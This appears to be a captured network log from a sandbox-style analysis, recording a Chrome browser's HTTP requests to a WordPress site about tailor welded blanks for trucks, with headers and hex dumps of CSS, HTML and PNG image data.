79 61 6e 2d 74 6f 2d 76 69 76 69 Data Ascii: 4000border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivi
2024-10-07 11:17:23 UTC	8198	IN	Data Raw: 6e 65 77 20 44 61 74 65 28 29 29 3b 0d 0a 0d 0a 20 20 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 27 55 41 2d 31 33 38 34 34 38 34 30 2d 31 27 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 20 2d 2d 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 62 6f 64 79 20 23 70 72 69 6d 61 72 79 2d 6e 61 76 2d 63 6f 6e 74 61 69 6e 65 72 20 23 70 72 69 6d 61 72 79 2d 6e 61 76 20 75 6c 20 6c 69 20 61 20 7b 0d 0a 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0d 0a 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 35 70 78 3b 0d 0a 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 20 64 61 74 61 2d 72 73 73 73 6c 3d 31 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 74 65 6d 70 6c 61 74 65 2d 64 65 66 61 75 Data Ascii: new Date()); gtag('config','UA-13844840-1');</script> --><style type="text/css">body #primary-nav-container #primary-nav ul li a {padding-left: 15px;padding-right: 15px;}</style></head><body data-rsssl=1 class="page-template-defau
2024-10-07 11:17:23 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-07 11:17:23 UTC	6213	IN	Data Raw: 31 38 33 38 0d 0a 6c 75 6d 6e 2d 68 72 22 20 2f 3e 0a 54 68 65 20 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 20 6f 66 20 54 57 42 20 6c 65 61 64 69 6e 67 20 74 6f 20 6c 69 67 68 74 20 77 65 69 67 68 74 69 6e 67 20 61 6e 64 20 72 65 64 75 63 74 69 6f 6e 20 69 6e 20 43 4f 32 20 65 6d 69 73 73 69 6f 6e 73 20 74 6f 20 6d 65 65 74 20 63 75 72 72 65 6e 74 20 61 6e 64 20 66 75 74 75 72 65 20 72 65 67 75 6c 61 74 69 6f 6e 73 2e 3c 2f 70 3e 0a 3c 70 3e 54 68 65 20 77 65 69 67 68 74 20 72 65 64 75 63 74 69 6f 6e 20 61 6e 64 20 73 6d 61 72 74 20 64 65 73 69 67 6e 20 75 73 69 6e 67 20 54 57 42 20 77 6f 75 6c 64 20 66 61 63 69 6c 69 74 61 74 65 20 6d 65 64 69 75 6d 20 61 6e 64 20 68 65 61 76 79 2d 64 75 74 79 20 74 72 75 63 6b 20 65 6c 65 63 74 72 69 66 69 63 61 74 69 Data Ascii: 1838lumn-hr" />The implementation of TWB leading to light weighting and reduction in CO2 emissions to meet current and future regulations.</p><p>The weight reduction and smart design using TWB would facilitate medium and heavy-duty truck electrificati

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49860	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:23 UTC	894	OUT	GET /2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/commercial-transportation/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238
2024-10-07 11:17:23 UTC	162	IN	HTTP/1.1 409 Conflict Date: Mon, 07 Oct 2024 11:17:23 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-07 11:17:23 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49866	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:23 UTC	926	OUT	GET /2016/wp-content/uploads/2021/03/typical-cab-structural.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/commercial-transportation/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238
2024-10-07 11:17:24 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:24 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 03 Mar 2021 20:24:22 GMT Accept-Ranges: bytes Content-Length: 946004 Content-Type: image/png
2024-10-07 11:17:24 UTC	7958	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 da 00 00 03 2c 08 06 00 00 00 82 e7 cf c0 00 00 0c 6c 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 52 49 68 01 04 a4 84 de 04 e9 04 90 12 42 0b 20 bd 08 36 42 12 48 28 31 26 04 15 3b ba a8 e0 da 45 14 2b ba 2a a2 d8 56 40 ec d8 95 45 b1 f7 c5 82 8a b2 2e ea 62 43 e5 4d 48 40 d7 7d e5 7b e7 fb e6 de 3f 67 ce fc a7 dc 99 dc 7b 00 d0 fa c0 93 4a f3 51 6d 00 0a 24 85 b2 c4 88 10 e6 a8 f4 0c 26 a9 03 20 40 03 90 80 0b 20 f3 f8 72 29 3b 3e 3e 06 40 19 b8 ff 5d de dd 80 d6 50 ae 3a 2b b9 fe 39 ff 5f 45 57 20 94 f3 01 40 c6 40 9c 25 90 f3 0b 20 3e 0e 00 be 96 2f 95 15 02 40 54 ea ad 26 15 4a 95 78 16 c4 7a 32 18 20 c4 2b 94 38 47 85 b7 2b 71 96 0a 1f ee b7 49 4e e4 40 Data Ascii: PNGIHDR,liCCPICC ProfileHWXS[RIhB 6BH(1&;E+*V@E.bCMH@}{?g{JQm$& @ r);>>@]P:+9_EW @@% >/@T&Jxz2 +8G+qIN@
2024-10-07 11:17:24 UTC	8000	IN	Data Raw: 05 49 48 f9 15 0d a8 00 a1 e8 99 ce 1c 42 30 3d 78 41 12 52 7e 45 03 2a 40 28 7a a6 33 87 10 4c 0f 5e 90 84 94 5f d1 80 0a 10 8a 9e e9 cc 21 04 d3 83 17 24 21 e5 57 54 d0 5d 97 db 57 47 af c6 57 47 b9 a3 cd 0f 4f a4 a4 0b ba 69 2e 4a b8 92 b6 bc 8c c3 29 56 b3 17 d2 38 ba a5 21 a4 d3 0d ff 58 0a 8f 65 d1 85 08 4e 55 2d 96 c6 e1 34 e2 bf 7a ff 66 d7 d6 6a 28 3b dd 68 7f a3 fd 8d fe 37 1d 64 d6 90 bd f7 10 60 1c 4e 63 fc 19 e3 cf aa 3b 58 37 d6 d6 56 d5 e9 c6 f8 3b c6 df 31 fe ae 31 de 4e 4d de 7b a8 35 0e a7 31 fe 8e f1 77 8c bf d3 7e e2 72 77 af a9 90 4e 37 ee 3f e3 fe 33 ee 3f cb 9d 67 51 eb bd 87 26 e3 70 fa 49 bb ff ec bc e2 03 65 dd 8e cb df 87 85 b6 fa d5 d1 ba a4 65 f1 8a f8 04 d3 ab 19 38 98 d8 e6 0c d1 c3 0c db 4e 6b 1a 1b 6c f8 47 2c ea 2d 30 42 Data Ascii: IHB0=xAR~E*@(z3L^_!$!WT]WGWGOi.J)V8!XeNU-4zfj(;h7d`Nc;X7V;11NM{51w~rwN7?3?gQ&pIee8NklG,-0B
2024-10-07 11:17:24 UTC	8000	IN	Data Raw: ae 62 c5 f2 c6 de 01 b9 c0 80 09 3d 75 76 f0 71 a0 02 80 e5 03 b2 d4 fe fa 15 25 4c 8b 6c d2 c9 89 90 e3 7d 89 c1 53 fa 44 99 33 59 d8 fc ff fa 90 51 33 eb fc 7b f6 bd 4a fe 61 f3 ec 57 3d a5 18 40 69 45 3d 47 9c 3b 45 12 12 2b 6c af aa 92 94 a2 02 07 75 83 cc a2 34 93 e7 1a c2 11 2e ea d4 87 29 27 b0 d0 88 d5 26 fe c7 a3 55 d1 52 99 ce 62 48 b1 19 ab 3e 13 07 ac 84 c9 60 49 92 90 58 e5 d6 ab aa 24 a5 a8 c0 41 dd 20 b3 a8 9b 21 e1 fa b3 09 b0 de 9c 95 e9 d5 44 d6 df da 95 05 84 51 e0 9e 36 1e 1e 13 9f 76 33 a1 a9 1a 35 4c 3e 39 a0 83 79 46 9e 94 7c 5d b3 e1 92 95 3b 85 ce f4 9e 7f a4 05 d3 d6 51 6a fb 0e 23 d2 58 f9 91 47 bd 20 eb 6c 67 17 44 c8 82 b1 16 ba aa b6 60 80 4a 06 cc 96 a9 1c cf 04 5c cc 61 3a 1e b6 ab cc d2 ba ec 67 d8 d9 29 59 28 23 90 2d 90 Data Ascii: b=uvq%Ll}SD3YQ3{JaW=@iE=G;E+lu4.)'&URbH>`IX$A !DQ6v35L>9yF\|];Qj#XG lgD`J\a:g)Y(#-
2024-10-07 11:17:24 UTC	8000	IN	Data Raw: 04 c2 02 1f 9c cc ea fa d7 16 c2 66 c5 f2 42 e4 87 10 1e 7e f2 50 b9 e7 91 fd e5 ef 3e fa 99 f2 67 1f fa ab f2 18 16 da 0e 61 47 9b 7d 61 d5 fa f0 01 fb ad a5 f5 5c 78 63 47 64 a7 66 62 1e f4 c1 dd a9 f8 8f 75 a7 3f db a9 c7 29 f8 e1 03 e5 0d 97 5e 58 7e e5 9d 3f 53 2e bf e4 bc 72 d1 79 af 2a 5b b7 6c 44 9f f6 74 d6 a7 59 92 67 d9 fe 18 27 42 b9 74 c6 57 46 bf ff d8 9e 72 cf 83 4f 96 7f c0 2e db 0f fd c5 df 94 c7 b0 50 7d 04 e5 2e 5c 88 e4 9f 75 1f 5c 03 16 95 db 9b d8 6d eb 38 e4 5d 8f d7 06 f1 3b c4 85 ca 33 ca 3b 7f f6 a7 ca 4f 5d 71 69 b9 14 3b 47 4f c6 2e b7 0d dc 82 c7 1a 01 bc 1f d7 76 2f 56 db fe f4 43 7f 5b fe 9f 3f f9 50 79 e2 89 a7 cb de 7d fb f1 3a f7 55 58 f8 7e 23 16 78 2e 2e 17 63 a1 d3 7f 53 92 25 a4 53 fe 59 0e 76 76 09 6c ad 3f 6d 26 3c Data Ascii: fB~P>gaG}a\xcGdfbu?)^X~?S.ry*[lDtYg'BtWFrO.P}.\u\m8];3;O]qi;GO.v/VC[?Py}:UX~#x..cS%SYvvl?m&<
2024-10-07 11:17:24 UTC	8000	IN	Data Raw: f7 ab 1e ea 08 b6 d8 ad 91 83 f8 5d c1 41 fc 86 58 fa 5d cf c3 c4 d8 3e 71 d7 30 ef 64 f9 49 f9 27 f5 cf 07 54 38 72 ea 07 62 72 fc 25 48 20 2e a0 bf bd f9 c7 83 21 a4 c3 68 bb a0 60 08 91 49 2d da 80 b0 fe e1 3e 7a 2d 3c ae bf 56 7f 14 5e 0b f7 7e a5 c1 e5 48 42 b2 fc f8 a4 1a ca 4c fb 50 42 e1 3e 7a 2d 3c ae bf 56 7f 14 5e 0b f7 7e a5 c1 e5 48 42 52 fe 49 f9 c7 be d4 42 9d d1 3e d4 90 70 1f bd 16 1e d7 5f ab 3f 0a af 85 7b bf d2 e0 72 24 e1 bf b1 fe 49 0a be 20 42 fe fa 2d 2c 20 47 a0 57 b8 a9 5b 74 2e 96 db 19 16 90 eb 00 da 36 00 0e ac 5d b7 05 20 ea ac 03 23 62 54 c8 57 d3 03 53 c6 d8 2f 7e fe 94 f5 eb d5 c1 da b5 0a 00 2c fd 70 f7 37 f0 e4 a1 bc b4 58 3b 75 f6 22 40 c3 29 9b 33 77 91 2d 5f bb 85 05 71 00 be 68 c1 98 0e 3b a8 7f 6e 3f 1b 37 72 10 0c Data Ascii: ]AX]>q0dI'T8rbr%H .!h`I->z-<V^~HBLPB>z-<V^~HBRIB>p_?{r$I B-, GW[t.6] #bTWS/~,p7X;u"@)3w-_qh;n?7r
2024-10-07 11:17:24 UTC	8000	IN	Data Raw: d1 7f 31 3d 03 f0 53 f3 a0 98 9a 04 d0 a1 fe 0a f8 71 93 01 a5 08 bd fa 66 d2 dc d1 ab 67 47 fa 3c d3 1e 7f 78 92 9b d3 86 2f 46 24 0c ff ee a3 61 cb 61 b2 fe 1b 8c b6 7d 65 c7 91 81 cc 96 f5 0d 54 03 13 32 2b 00 da e4 1f 10 56 9b e6 7a 3a cc e5 e8 fa 47 1e be 8f 49 27 7a 1c 4b 8a ec ee 72 f5 2e 49 fe 80 a7 47 2e c6 0f e3 07 f1 72 eb 53 12 eb 12 29 38 76 18 bd f3 de 49 c9 f2 91 80 8b 2a 22 af f8 61 fc 20 29 7f c4 f4 d7 7c ff dd 55 3b eb c5 19 53 c8 d8 ce d3 23 17 e3 87 f1 83 a4 fc ff 9b cb bf 7d e1 2b 62 b4 bd 5c 57 b1 e5 dd e0 07 1f 02 a9 57 8f 7a 7d 0a d3 c2 bd ae 84 c7 e1 be fe ee 3b 8f a2 77 44 8f c3 fb f8 19 a0 2f 04 8d 04 b6 bb df 71 ef 81 72 b7 fb 83 9c c2 cf e8 1d d1 e3 fa eb c9 f2 93 f2 4f ea 5f 30 1e ee 3e 42 92 e3 ef 5e 5f d4 77 93 57 38 b3 34 Data Ascii: 1=SqfgG<x/F$aa}eT2+Vz:GI'zKr.IG.rS)8vI*"a )\|U;S#}+b\WWz};wD/qrO_0>B^_wW84
2024-10-07 11:17:24 UTC	8000	IN	Data Raw: dd 41 fb e4 eb 1f 6c 0b 11 19 e5 c0 bf 06 5f 5f f2 e5 93 37 30 0b e6 c7 44 fc 0e 65 db d0 dc ae 8e 07 5c 62 d1 fd 39 51 24 3f 98 3b df 4d 39 af df 0c 16 bf 72 fc 3c 69 42 11 e6 a6 85 80 6c 3d 2d 17 67 f1 5a 88 e9 07 bd 16 77 aa 09 6e 8a 6c 25 8c b6 7f fc 0d c1 10 f6 1e 75 96 43 00 b4 11 e9 14 b3 cf 02 98 45 f7 15 0d b4 69 e3 07 02 b4 c1 68 f3 a7 78 96 e7 e4 77 87 a2 ec 1c 8b af 3d 07 4f db 7b 1f cc b5 d5 f8 61 0a cc 68 58 7e c3 c4 ea dd a3 33 fe 6a 30 e3 22 80 c3 e8 61 79 1e 3d 52 02 10 1e a0 c5 db ef 3e 04 68 7b 7b ae 2f 9c e5 0b ca 58 78 8b bc 54 84 bf a0 09 32 65 82 91 32 d0 81 36 18 19 98 3d 39 0b 0a d3 a3 cf be 9c ef 66 aa 92 b7 2a d3 88 05 7f 3e ec a7 e9 38 f0 1f 89 6c 0a 58 a8 35 83 81 e7 8b 4c ca 12 18 a0 ff 41 07 92 e0 1b 6c 25 09 5e 18 01 20 8b Data Ascii: Al__70De\b9Q$?;M9r<iBl=-gZwnl%uCEihxw=O{ahX~3j0"ay=R>h{{/XxT2e26=9f*>8lX5LAl%^
2024-10-07 11:17:24 UTC	8000	IN	Data Raw: af 5c d8 1a 7c ff 49 bb 82 6b ae 57 7e 53 ec 5e 5d a1 fd 3a 93 f9 58 35 ac 16 99 ea ad 87 7d b9 62 dd 76 3b 88 89 ad 33 82 58 e0 06 8f 05 80 83 80 5c 6d fa d4 a1 33 0a 19 74 5a a4 a6 48 41 b4 39 e2 46 ce b1 fc 03 53 b9 9b 0e 7c e6 64 75 c5 3f 52 9e 3d 0a a3 ac 3f 91 73 03 39 01 87 70 6f 05 a6 8b c7 71 82 3f 7f b1 fc 4c 7d 09 d0 46 1f cb a1 3d 20 5d 5d cd 0d 7b 68 da 58 7b 78 da 18 a2 96 f6 b2 ec de 5d 7c d1 e1 2a a3 a2 a4 2f 54 48 c3 00 12 26 40 f8 6e 16 db f3 6c 3b 7d ae e8 9c 6a bf 1e 68 5c 47 9e b7 af d9 cf 9e 9d 61 ff f7 af 9e 87 61 da dc 81 36 b5 47 b2 d2 28 0c 8e 3d 21 f1 43 c2 e2 a2 ca 94 cf 2e dd e7 78 22 fb 00 c0 0c e6 00 9a e2 72 d5 ed aa 8f e7 c7 87 e6 26 f9 e1 ab 02 58 29 03 10 fa 1d 40 e0 32 f4 49 8e e7 9d 19 28 10 01 b3 38 f9 58 13 08 3e 13 Data Ascii: \\|IkW~S^]:X5}bv;3X\m3tZHA9FS\|du?R=?s9poq?L}F= ]]{hX{x]\|*/TH&@nl;}jh\Gaa6G(=!C.x"r&X)@2I(8X>
2024-10-07 11:17:24 UTC	8000	IN	Data Raw: fe 86 31 41 9b c1 84 e9 72 7e d5 ff c0 bb 17 84 33 a6 4e 08 83 58 16 a6 e9 8c 26 48 32 b2 c8 d8 f6 95 7f bd 2b fc bf 5f fe 1e 9e 6a ca 53 5b 55 1f c1 03 ad 1f 7b b4 e1 d1 c6 86 e2 57 cc 9b 65 86 36 c9 5d 7f 9a 40 ad df bc 83 49 27 7b 2b 3d b5 d8 4e 7e 5b cf 12 30 2d dd a2 c2 3c 1c 65 8f 1c 1e 46 e3 8d 35 7e 2c c6 30 fe b4 2c d4 97 b6 69 12 b5 63 d7 de b0 67 a7 fe 76 e0 0d 34 38 7c 0c e3 d7 35 97 5f 1c d8 9a 8c e7 d8 14 ee c3 d0 f5 18 cb 69 9f 63 0f b3 ad db e4 e5 a0 5a 23 31 b2 3f 65 e2 84 30 6d c6 a9 4c 86 fb e2 a5 24 43 24 15 e2 da 8a 77 a3 26 a3 3b 77 ee c2 cb 70 9f 19 96 0e 33 1b 37 32 93 62 19 15 66 cd 62 e9 28 7b fe 2c b8 98 a5 a3 a3 65 68 c3 f8 a2 46 ae f2 58 8e 47 d6 4b 4b e4 d1 b6 d0 3c 34 cc 9b 0e 99 f4 f5 53 47 d9 8f 49 86 b6 91 4c 42 47 60 a7 Data Ascii: 1Ar~3NX&H2+_jS[U{We6]@I'{+=N~[0-<eF5~,0,icgv48\|5_icZ#1?e0mL$C$w&;wp372bfb({,ehFXGKK<4SGILBG`
2024-10-07 11:17:24 UTC	8000	IN	Data Raw: 6c 86 bd 85 89 cf 32 ab e3 7e 0c 30 b6 7f 95 0a b7 f2 f1 d0 c0 85 64 fa 54 26 58 53 27 33 d9 1e 17 a6 69 e3 fb 09 6c 2e 4f fd b5 97 9d 72 97 e9 72 3f 9e 32 3b f0 f2 7a 03 63 d3 eb 18 17 97 2e 5b c9 e4 6d 39 9e 72 5a 4e a9 ec c8 10 fe 39 b3 d9 28 9d 13 4e 65 64 93 d1 ee 24 32 d1 92 ba a5 c8 e9 d5 d7 d7 72 aa dd 73 18 48 d6 f2 5c 7d 28 73 12 27 fa 5d 83 37 d1 e9 c8 e7 e4 b8 79 b9 32 b1 dc 58 8a 8c c1 70 e5 9a f5 4c f8 5e c1 68 f4 22 c6 2f b5 10 35 a2 7d e5 2d f6 be f7 dc 1c ae bf e6 4a bc d9 d8 b4 9c 06 d6 24 54 6d 6c 59 a8 3e 11 20 cc af 12 6f f5 ae f4 2b 4e 62 c9 04 16 99 de 34 15 95 e1 6a 0f 06 b7 55 78 ce ac 5b bf 1d 6f be 5d 2c f5 dc 8c d7 c6 72 3c 45 b6 a1 1f ca 9b 51 48 89 95 94 49 ee c8 61 c3 30 1c b0 27 20 87 44 cc 9a 79 3a de 34 4c 4a d9 7c 7c 0c Data Ascii: l2~0dT&XS'3il.Orr?2;zc.[m9rZN9(Ned$2rsH\}(s']7y2XpL^h"/5}-J$TmlY> o+Nb4jUx[o],r<EQHIa0' Dy:4LJ\|\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49867	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:23 UTC	953	OUT	GET /2016/wp-content/uploads/2021/03/typical-chassis-structure-focusing-on-frame-rails.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/commercial-transportation/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238
2024-10-07 11:17:24 UTC	235	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:24 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 03 Mar 2021 20:51:27 GMT Accept-Ranges: bytes Content-Length: 1724038 Content-Type: image/png
2024-10-07 11:17:24 UTC	7957	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 f6 00 00 03 80 08 06 00 00 00 72 cc b0 0c 00 00 0c 6c 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 52 49 68 01 04 a4 84 de 04 e9 04 90 12 42 0b 20 bd 08 36 42 12 48 28 31 26 04 15 3b ba a8 e0 da 45 14 2b ba 2a a2 d8 56 40 ec d8 95 45 b1 f7 c5 82 8a b2 2e ea 62 43 e5 4d 48 40 d7 7d e5 7b e7 fb e6 de 3f 67 ce fc a7 dc 99 dc 7b 00 d0 fa c0 93 4a f3 51 6d 00 0a 24 85 b2 c4 88 10 e6 a8 f4 0c 26 a9 03 20 40 03 90 80 0b 20 f3 f8 72 29 3b 3e 3e 06 40 19 b8 ff 5d de dd 80 d6 50 ae 3a 2b b9 fe 39 ff 5f 45 57 20 94 f3 01 40 c6 40 9c 25 90 f3 0b 20 3e 0e 00 be 96 2f 95 15 02 40 54 ea ad 26 15 4a 95 78 16 c4 7a 32 18 20 c4 2b 94 38 47 85 b7 2b 71 96 0a 1f ee b7 49 4e e4 40 Data Ascii: PNGIHDRrliCCPICC ProfileHWXS[RIhB 6BH(1&;E+*V@E.bCMH@}{?g{JQm$& @ r);>>@]P:+9_EW @@% >/@T&Jxz2 +8G+qIN@
2024-10-07 11:17:24 UTC	8000	IN	Data Raw: 31 04 64 e2 21 ef d4 54 83 78 2b b5 33 48 22 66 c5 10 90 89 87 bc 53 53 0d e2 ad d4 ce 20 89 98 15 43 40 26 1e f2 4e 4d 35 88 b7 52 3b 83 24 62 56 0c 01 99 78 c8 3b 35 d5 20 de 4a ed 0c 92 88 59 31 04 64 e2 21 ef d4 54 83 78 2b b5 33 48 22 66 c5 10 90 89 87 bc 53 53 0d e2 ad d4 ce 20 89 98 15 43 40 26 1e f2 4e 4d 35 88 b7 52 3b 83 24 62 56 0c 01 99 78 c8 3b 35 d5 20 de 4a ed 0c 92 88 59 31 04 64 e2 21 ef d4 54 83 78 2b b5 33 48 22 66 c5 10 90 89 87 bc 53 53 0d e2 ad d4 ce 20 89 98 15 43 40 26 1e f2 4e 4d 35 88 b7 52 3b 83 24 62 56 0c 01 99 78 c8 3b 35 d5 20 de 4a ed 0c 92 88 59 71 fc 6e e6 7f fd f9 33 ff eb ba f9 13 7c 9f 66 8d da 3f ec f7 6d bc 95 93 c9 5c 08 40 cc e9 2e 14 96 6f e3 ad 9c 4c e6 42 00 e2 35 6b 12 61 f9 36 de ca c9 64 2e 04 20 e6 74 17 0a Data Ascii: 1d!Tx+3H"fSS C@&NM5R;$bVx;5 JY1d!Tx+3H"fSS C@&NM5R;$bVx;5 JY1d!Tx+3H"fSS C@&NM5R;$bVx;5 JYqn3\|f?m\@.oLB5ka6d. t
2024-10-07 11:17:24 UTC	8000	IN	Data Raw: 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 Data Ascii: ;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;
2024-10-07 11:17:24 UTC	8000	IN	Data Raw: 47 8c 69 7a fe ae 7f af bf b5 7b 7b ff 75 ff 99 9d 78 7d 46 bb e4 9c e8 fe 3b 2a d2 e7 df 2c 42 ac 8d 8f e7 c7 09 bb c7 7d a8 7d fe f6 f9 db e7 ef d8 23 7f c6 ff f5 f9 a3 0e d3 e7 4f 9f bf 63 31 ac f5 b0 8e 8e f7 f9 e1 47 d1 db 01 4b f4 11 fd f5 5f 7f fd db df 7f e8 ef bf cc 2e d3 e7 6f df 3f fa fe d5 f7 af 7d 3f 18 d7 85 fe fe 47 df bf fa fe b9 8e c6 fe fe 57 7f ff 6f 2c 04 9d 0e bb 49 d6 f0 f1 15 d6 1e f7 a1 f6 f7 ff fa fb 7f fd fd bf b1 47 fa eb 8f fe fa a3 bf fe d0 09 d3 f7 ef fe fa 63 2c 86 be 7f af a3 a1 ef df 7d ff de f7 e8 11 3e 3e 1f 37 ec e1 9e bb e8 56 ff 99 bf b1 af d0 4a 04 3e a6 4a 1a e7 7c d1 bc c7 11 e5 c0 20 a2 82 22 2b 11 a8 e6 47 86 93 79 89 b2 62 10 51 41 91 95 08 54 f3 23 c3 c9 bc 44 59 31 88 a8 a0 c8 4a 04 aa f9 91 e1 64 5e a2 ac 18 Data Ascii: Giz{{ux}F;*,B}}#Oc1GK_.o?}?GWo,IGc,}>>7VJ>J\| "+GybQAT#DY1Jd^
